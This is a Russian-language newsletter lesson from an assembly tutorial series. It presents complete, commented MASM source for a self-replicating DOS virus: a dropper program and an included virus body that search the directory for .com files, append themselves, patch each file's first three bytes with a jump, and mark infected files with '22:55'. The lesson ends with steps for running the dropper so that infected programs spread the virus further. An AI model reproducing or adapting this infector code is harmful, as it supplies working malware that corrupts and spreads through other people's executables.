Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Уроки ассемблеру. Быстро и просто. Урок 19


В 18-м уроке, друзья, у нас получилась забавная программа. Между метками Add_nop и End_nop получается, мы можем разместить любой код, который запишется в другие com-файлы — причём так, что первые три байта изменённой программы будут указывать на начало нашего кода. Такой код можно использовать как программу — носитель для модификации конкретного файла, так и как исходный код для написания программы, работающей внутри заражённой программы, проще говоря, вируса.

Приведём программу из 18-го урока в удобный для нас вид:

;Всё, что следует за значком ";" - это комментарий.

.286 ;Разрешает ассемблирование непривилегированных инструкций
;процессора 80286 (реальный режим) и инструкций арифметического
;сопроцессора 80287.

CSEG segment ;Даём имя сегменту, а точнее определяем абсолютный
;сегмент в памяти программ по определённому адресу.
;Имя нашего сегмента будет CSEG.

assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG ;Задаём сегментные регистры, которые будем использовать для
;вычисления действующего адреса для всех меток и переменных, опре-
;делённых для сегмента или группы сегментов с указанным именем.
;У нас их четыре, - CS, DS, ES, SS и они будут указывать на наш
;единственный сегмент (мы его назвали CSEG).

org 100h ;Устанавливаем счётчик инструкций в текущем сегменте в соот-
;ветствии с адресом, задаваемым "выражением".
;Сейчас этот счётчик равен 100h - используется для всех программ
;типа .com

begin: ;Метка начала программы.

mov ah,1Ah ;Установим DTA в конец файла.
mov dx,offset Finish
int 21h

call Find_first ;Ищем первый файл.
jc Message_bad ;Нет txt-файлов - на выход.

goto_cikl: ;Начало цикла.

mov si,offset Finish
add si,1Eh
mov di,offset File_name_test
mov cx,8 ;Длина сравниваемых строк
repe cmpsb ;Случайно мы нашли не test.com?
je call_metka2

mov ax,3D02h ;Загружаем в регистр ah число 3Dh (функция открытия
;файла с записью), а в al число 02h (пишем в конец).
;Можно было записать и так - mov ah,3Dh
;mov al,02h

mov dx,offset Finish ;Указываем адрес файла в DTA (по умолчанию он 80h от начала PSP,
add dx,1Eh ;+1Eh - наше имя файла.
int 21h ;Выполняем функцию.

mov Handle,ax ;При открытии файлу будет присвоен номер, его и
;сохраняем для дальнейших действий,
mov bx,ax ;а заодно и сохраняем его в bx.

mov ah,3Fh ;Читаем файл
mov cx,1024 ;с длиной 1Кб.
mov dx,offset Finish
add dx,100h ;DX устанавливаем за DTA.
int 21h ;Выполняем функцию.

mov si,offset Name_virus ;Проверяем, "заражён" ли файл.
mov di,ax
add di,dx
sub di,5 ;DI установлен на считанного конец файла - 5 байт (начало метки).
mov cx,5
repe cmpsb
je close_file

push ax ;В стеке - число реально прочитанных байт.

mov si,offset Finish ;Переносим 3 байта c начала программы в конец.
add si,100h ;Но она располагается чуть дальше (зарезервируем длину PSP)!
add ax,offset Finish ;Число прочитанных байт прибавляем к адресу начала программы.
add ax,100h ;Плюс длина PSP.
mov di,ax ;В di - адрес области за всем файлом.
mov cx,3 ;Перемещаем (сохраняем) 3 байта.
rep movsb

add ax,3 ;В ax хранится адрес начала области нашей программы восстановления.
push ax

mov si,offset Finish
add si,100h ;В si - адрес начала нашей считанной программы.
mov byte ptr cs:[si],0E9h ;Первый байт = jmp

pop ax
pop cx
push ax ;Нехитрой комбинацией устанавливаем в cx количество байт программы.

mov si,offset Finish
add si,100h ;Не забываем прибавлять 100h.
inc si
mov word ptr cs:[si],cx ;Ещё два байта = адрес, куда "прыгать".

pop ax
push ax ;В ax хранится адрес начала области нашей программы восстановления.

mov si,offset Add_nop ;Переносим х байт c адреса смещения Add_nop
mov di,ax ;в конец нашей программы, за нашими сохранёнными байтами.
;Сколько байт переносить?
mov ax,offset Add_nop
mov cx,offset End_nop
sub cx,ax ;В cx - длина тела нашей "внутренней" программы.

pop ax ;В ax хранится адрес начала области нашей программы восстановления.
sub ax,offset Finish
sub ax,100h ;Уберём длину затесавшегося PSP.
add ax,cx ;В ax - новая длина файла.
push ax ;Запоминаем ax.

rep movsb

mov dx,0h ;Устанавливаем указатель с начала файла +0h.
mov cx,0h ;+0h мы указали потому, что будем
mov ax,4200h ;перезаписывать считанный файл с первого байта.
int 21h


mov ah,40h ;Записываем программу (в т.ч.$) из смещения Finish
mov dx,offset Finish ;по адресу, указанному выше.
add dx,100h
pop cx ;В cx - длина записываемой нами программы. Стек обнулён.
int 21h

close_file:
mov ah,3Eh ;Используем функцию закрытия файла.
mov bx,Handle ;Для закрытия обязательно "вспоминаем" его номер,
;номер у нас был сохранён в Handle.
int 21h ;Выполняем функцию.

call_metka2:
call Find_next ;Ищем следующий файл.
jnc goto_cikl ;Нашли ещё один файл; прыгаем на метку.

Message_ok: ;Подпрограмма успешного вывода строки и выхода.
mov ah,9 ;Выводим строку.
mov dx,offset Mess_ok
int 21h
int 20h

Message_bad: ;Подпрограмма вывода сообщения об ошибке и выхода.
mov ah,9
mov dx,offset Mess_bad
int 21h
int 20h

Add_nop equ $ ;Будущие строчки в конце файла.

include virus.asm ;Чтобы не марать этот файл, будем писать в новом.

End_nop equ $ ;Конец нашей внедряемой программы.

Find_first proc ;Подпрограмма поиска первого файла.
mov ah,4Eh ;Ищем первый файл по маске (функция 4Eh).
xor cx,cx ;Атрибуты обычные. Смотрим, что в CX.
mov dx,offset File_name ;Адрес маски в DS:DX
int 21h ;В DTA заносится имя найденного файла.
ret
Find_first endp
;Подпрограмма поиска следующего файла.
Find_next proc
mov dx,offset Finish ;DS:DX указывают на DTA.
xor cx,cx ;CX=0.
mov ah,4Fh ;4Fh - поиск следующего файла.
int 21h ;В DTA заносится имя найденного файла.
ret
Find_next endp

File_name db '*.com',0 ;Маска файла.

File_name_test db 'TEST.COM',0,'!$'

Mess_ok db 'Файлы найдены и обновлены. Всем спасибо.$' ;Успешное сообщение и сообщение об ошибке (ниже).

Mess_bad db 'Файлы не найдены. Поместите файлы *.com в каталог с программой.$'

Handle dw 0FFFFh ;Определяем переменную (для идентификатора файла).

Finish equ $ ;Метка конца нашей программы!

CSEG ends
end begin


Данный файл записываем под именем test.asm (в кодировке 866, разумеется). И в этом же каталоге создадим файл virus.asm — который, как мы видим, указан в тексте программы. Всё это делается исключительно для нашего удобства — на самом деле при выполнении ml test.asm /AT компилятор обрабатывает их единым файлом (в дальнейшем для функционирования программы TEST.COM файл virus.asm не нужен).

metka2:
;+--------------------------------------------------------------+
;| Конец зарезервированной области памяти. |
;| Начало вируса. Сохраняем по традиции регистры. |
;+--------------------------------------------------------------+
pushf ;Сохраняем регистры.
pusha

call $+3 ;Переход на следующую команду с убиранием текущего адреса
;в стек (сохранится адрес команды pop dx)
pop dx ;Извлекаем его
sub dx,5 ;и вычитаем 5 байт - длина нашего всего от pop dx до ret, включительно

mov ax,dx ;В ax - адрес начала вируса.
mov Begin_virus,ax ;Запомним его.

call LF ;Вызовем подпрограмму определения длины файла.

mov cx,Length_file
add cx,100h
sub cx,Begin_virus
mov Length_virus,cx ;Length_virus - длина программы - вируса.

mov si,Length_file
add si,100h ;Заносим в SI адрес начала программы восстановления: в CX - длина файла,
sub si,Length_virus ;В Length_virus - длина вируса. Итого в SI - начало области вируса.
sub si,3

mov di,100h ;Восстанавливаем 3 байта в начало реальной программы.
mov cx,3
rep movsb


;+--------------------------------------------------------------+
;| Конец фрагмента восстановления трёх байт. |
;| Следующий фрагмент - установка DTA. |
;| Зарезервируем на всякий случай 100h байт для круглого счёта |
;| (PSP, а вообще DTA находится по адресу 80h). |
;+--------------------------------------------------------------+

mov ah,1Ah ;Установка DTA.
mov dx,80h
int 21h


call Save_dta



;+--------------------------------------------------------------+
;| Поиск первого файла по маске в текущем каталоге |
;+--------------------------------------------------------------+

call Find_first1 ;Ищем первый файл.
jc exit ;Нет com-файлов - на выход.

;+--------------------------------------------------------------+
;| Начало основного цикла поиска файлов по маске *.com |
;| И их заражения, если они ещё не заражены. |
;+--------------------------------------------------------------+

goto_cikl1: ;Начало цикла.

mov ax,3D02h ;Загружаем в регистр ah число 3Dh (функция открытия
;файла с записью), а в al число 02h (пишем в конец).
;Можно было записать и так - mov ah,3Dh
;mov al,02h

mov dx,9Eh ;Указываем адрес файла в DTA (Длина файла + 100h + 1Eh).
int 21h ;Выполняем функцию.

mov Handle1,ax ;При открытии файлу будет присвоен номер, его и
;сохраняем для дальнейших действий,
mov bx,ax ;а заодно и сохраняем его в bx.

mov ah,3Fh ;Читаем файл
mov cx,1024 ;с длиной (например) 1Кб.

mov dx,Length_file
add dx,200h ;DX устанавливаем за DTA.
int 21h ;Выполняем функцию.

push dx ;Помещаем в стек адрес начала считанного файла.
push ax ;Помещаем в стек длину считанного файла.

mov Length_new_file,ax

;+--------------------------------------------------------------+
;| Если хотя бы один файл по маске в каталоге есть, мы его |
;| загружаем в память. Но мы ещё не знаем, заражён ли он? |
;+--------------------------------------------------------------+

call Name_virus
mov si,dx ;Проверяем, "заражён" ли файл.

pop dx

mov di,dx
mov dx,ax ;Запоминаем ax.

pop ax
add di,ax ;DX = начало области нового файла, AX = истинная длина.
sub di,5 ;DI установлен на конец считанного файла - 5 байт (начало метки).
mov cx,5 ;Длина сравнения - 5 байт.
repe cmpsb
je close_file1 ;Если в конце файла уже находится метка 22:55, закрываем файл.

;+--------------------------------------------------------------+
;| Сейчас самое время для того, чтобы вычислить новую длину |
;| файла, которого мы прочитали и который находится в памяти |
;+--------------------------------------------------------------+

mov Length_new_file,3h
mov cx,Length_virus
add Length_new_file,cx ;В Length_new_file будет длина нового файла с вирусом. Осталось прибавить длину файла.
mov ax,dx ;Восстанавливаем ax.
add Length_new_file,ax ;Новая длина файла с вирусом.

push ax ;В стеке - опять число реально прочитанных байт.

;+--------------------------------------------------------------+
;| Сохраним первые оригинальные три байта в его собственном |
;| конце |
;+--------------------------------------------------------------+

mov si,Length_file
add si,200h ;Переносим 3 байта c начала программы в конец.
mov di,si
add di,ax ;В di - адрес области за всем файлом.
mov cx,3 ;Перемещаем (сохраняем) 3 байта.
rep movsb

;В di хранится адрес начала области нашей программы восстановления.
push di ;А именно весь наш вирус за исключением первых трёх байт.

;+--------------------------------------------------------------+
;| Заменяем первые три байта на конструкцию jmp xx |
;+--------------------------------------------------------------+

mov si,Length_file
add si,200h
mov byte ptr cs:[si],0E9h ;Первый байт = jmp

pop ax
pop cx

mov si,Length_file
add si,201h
mov word ptr cs:[si],cx ;Ещё два байта = адрес, куда "прыгать" (адрес области с вирусом).
;Сейчас cx указывает совсем не туда, но это сработает,
;когда запустится заражённый файл.

;+--------------------------------------------------------------+
;| Реплицируем тело вируса |
;+--------------------------------------------------------------+

mov si,Begin_virus ;Переносим х байт c начала адреса смещения
mov di,ax ;в конец нашей программы, за нашими сохранёнными байтами.
mov di,Length_file
add di,200h
add di,Length_new_file
sub di,Length_virus


mov cx,Length_virus ;Длина вируса у нас не меняется.
rep movsb

;+--------------------------------------------------------------+
;| Записываем новый файл из памяти |
;+--------------------------------------------------------------+

mov dx,0h ;Устанавливаем указатель с начала файла +0h.
mov cx,0h ;+0h мы указали потому, что будем
mov ax,4200h ;перезаписывать считанный файл с первого байта.
int 21h


mov ah,40h ;Записываем программу
mov bx,Handle1
mov dx,Length_file
add dx,200h ;с адреса: 100h + длина старого файла + 100h DTA.
mov cx,Length_new_file
int 21h

;+--------------------------------------------------------------+
;| Закрываем файл. |
;+--------------------------------------------------------------+

close_file1:

mov ah,3Eh ;Используем функцию закрытия файла.
mov bx,Handle1 ;Для закрытия обязательно "вспоминаем" его номер,
;номер у нас был сохранён в Handle1.
int 21h ;Выполняем функцию.

;+--------------------------------------------------------------+
;| Первый файл инфицировали. Может, есть ещё файлы? |
;+--------------------------------------------------------------+

call Find_next1 ;Ищем следующий файл.
jnc goto_cikl1 ;Нашли ещё один файл; прыгаем на метку.

;+--------------------------------------------------------------+
;| Окончание работы программы. Восстановим всё, как было. |
;+--------------------------------------------------------------+

exit:
call Restore_dta ;Восстановим DTA как было.

popa ;Восстанавливаем регистры.
popf

;+--------------------------------------------------------------+
;| Передаём управление на 100h так, чтобы не намусорить в |
;| регистрах. |
;+--------------------------------------------------------------+

push 100h
ret ;Безусловный переход в начало программы.

;+--------------------------------------------------------------+
;| Область подпрограмм |
;+--------------------------------------------------------------+

Find_first1 proc ;Подпрограмма поиска первого файла.
mov ah,4Eh ;Ищем первый файл по маске (функция 4Eh).
xor cx,cx ;Атрибуты обычные. Смотрим, что в CX.

call $+3 ;Переход на следующую команду с убиранием текущего адреса
;в стек (сохранится адрес команды pop dx)
pop dx ;Извлекаем его
add dx,7 ;и добавляем 7 байт - длина нашего всего от pop dx до ret, включительно
int 21h ;в dx - правильный адрес строки
ret
db '*.com',0 ;Маска файла для заражения.
Find_first1 endp
;Подпрограмма поиска следующего файла.
Find_next1 proc
mov dx,80h
xor cx,cx ;CX=0.
mov ah,4Fh ;4Fh - поиск следующего файла.
int 21h ;В DTA заносится имя найденного файла.
ret
Find_next1 endp

Name_virus proc
call $+3 ;Переход на следующую команду с убиранием текущего адреса
;в стек (сохранится адрес команды pop dx)
pop dx ;Извлекаем его
add dx,5 ;и добавляем 5 байт - длина от pop dx до значения 22:55
ret
db '22:55' ;Маска файла для заражения.
Name_virus endp

Restore_dta proc
mov si,Length_file
add si,100h ;Заносим в SI адрес начала программы восстановления: в CX - длина файла,
mov di,80h ;80h - длина DTA.
mov cx,80h
rep movsb
ret
Restore_dta endp

Save_dta proc
mov di,Length_file
add di,100h ;Заносим в SI адрес начала программы восстановления: в CX - длина файла,
mov si,80h ;Восстанавливаем 80h байт в начало DTA.
mov cx,80h
rep movsb
ret
Save_dta endp

LF proc

call $+3 ;Переход на следующую команду с убиранием текущего адреса
;в стек (сохранится адрес команды pop dx)
pop dx ;Извлекаем его
add dx,28 ;и добавляем 28 байт - длина до конца программы.

sub dx,100h ;От конца программы отнимаем адрес начала
mov Length_file,dx ;и получаем длину файла.


ret
LF endp

;+--------------------------------------------------------------+
;| Область переменных |
;+--------------------------------------------------------------+

Handle1 dw 0h ;Определяем переменную (для идентификатора файла).

Length_virus dw 0h ;Зарезервируем переменную с длиной вируса.

Length_file dw 0h ;Зарезервируем переменную с длиной файла (то, что в cx при старте).

Length_new_file dw 0h ;Зарезервируем переменную с длиной файла.

Begin_virus dw 0h ;Переменная адреса начала вируса.

db '22:55' ;Просто идентификатор вируса.


Структура нашего вируса (рассмотрено на конкретном примере с заражённым hello.com):



Теперь кладём в один каталог файлы TEST.COM и hello.com и запускаем TEST.COM один раз (можно и больше, ничего страшного не произойдёт). Теперь наш hello.com и есть та программа, которая будет клонировать вирус во все найденные им com-файлы в текущем каталоге.

Позаботьтесь, естественно, о том, чтобы в каталоге находились и другие файлы (например, hello2.com, hello3.com и т.д.), чтобы проверить её работоспособность.

В избранное